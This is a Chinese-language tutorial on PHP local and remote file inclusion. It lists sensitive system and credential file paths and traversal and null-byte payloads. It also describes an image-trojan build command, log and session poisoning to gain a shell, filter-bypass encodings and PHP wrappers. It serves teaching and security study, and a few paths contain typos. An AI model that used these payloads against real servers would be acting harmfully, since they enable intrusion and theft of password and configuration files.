原理:
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
这个漏洞最重要的有四个函数:
1、include() 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。 2、include_once() 功能和 include()相同,区别在于当重复调用同一文件时,程序只调用一次。 3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行 4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。 分类: 文件包含分为两种种类,RFI (远程文件包含) 和 LFI(本地文件包含漏洞) ,两者的主要区别在于php.ini中是否开启了allow_url_include .如果开启了就有可能是远程文件包含 注意:在php.ini中allow_url_fopen 默认都是on,而allow_url_include 在php5.2之后默认是off
本地包含
常见的敏感信息路径:
Windows系统
c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\ProgramFiles\mysql\data\mysql\user.MYD
c:\windows\php.ini
Linux/Unix系统
/etc/passwd
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/etc/my.conf
/var/log/nginx/access.log 查看相应日志文件,文件日志默认地址
(可通过抓包查看得知服务器为Ubuntu,由nginx搭建的网站,nginx的日志文件默认地址在/var/log/nginx/access.log和/var/log/nginx/error.log,其中本题中access.log可以打开)
包含同目录下的文件
?file=test.txt
目录遍历
?file=./../../test.txt
./ 当前目录../ 上一级目录,这样的遍历目录来读取文件 包含图片木马 cmd命令执行:
copy x.jpg /b + s.php /b f.jpg
上传f.jpg,找到f.jpg路径,包含f.jpg 包含日志 利用条件:需要知道服务器日志的储存路径,并且日志文件可读。一般情况下,日志保存路径在/var/log/apache2/
?file=../../../../../../../car/log/apacher/error.log
1.提交下面请求,把payload插入日志
2.可以尝试利用UA插入payload到日志文件
包含session 利用条件:session文件路径已知,且其中内容部分可控 php默认生成的session文件一般都放在/tmp目录下
/tmp/sess_SESSIONID
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
session文件一般在/tmp 目录下,格式为sess_[your phpsessid value] ,有时候也可能在/var/lib/php5之类的,所以在此之前建议先读取配置文件,在某些特定的情况下也许可以控制session的值,并且获得一个shell 有防御的本地文件包含 代码审计中可以看见这样的包含模板文件:
<?php $file=$_GET['file']; include'/var/www/html/' .$file.'/test/test.php';?>
这段代码指定了前缀和后缀:这样就很难直接去包含前面提到的种种文件 1.%00截断 PHP内核是由C语言实现的,所以使用C语言中的一些字符串处理函数,在连接字符串时,0字节(\x00)将作为字符串的结束符,所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。一般很少用
?file=../../../../../../../../../etc/passwd%00
需要magic_quotes_gpc=off,PHP小于5.3.4有效 2.%00截断目录遍历
?file=../../../../../../../../../var/www/%00
需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris 3.路径长度截断
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256;利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的。目录字符串,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 “./” 的方式即可构造出超长目录字符串: 4.点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
php版本小于5.2.8可以成功,只适用于windows,电耗长度要长于256 5.编码绕过 服务器端常常会对于../ 做一些过滤,这时可以用一些编码绕过 利用 url 编码:
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\
二次编码:
../ -》 %252e%252e%252f
..\ -》 %252e%252e%255c
远程文件包含
?file=[http|https|ftp]:
可以有三种http、https、ftp php中的伪协议
http:
file:
ftp:
data:
http:
ftp:
php:
zlib:
data:
glob:
phar:
ssh2:
rar:
ogg:
expect:
参考网站:https://cloud.tencent.com/developer/article/1180857
|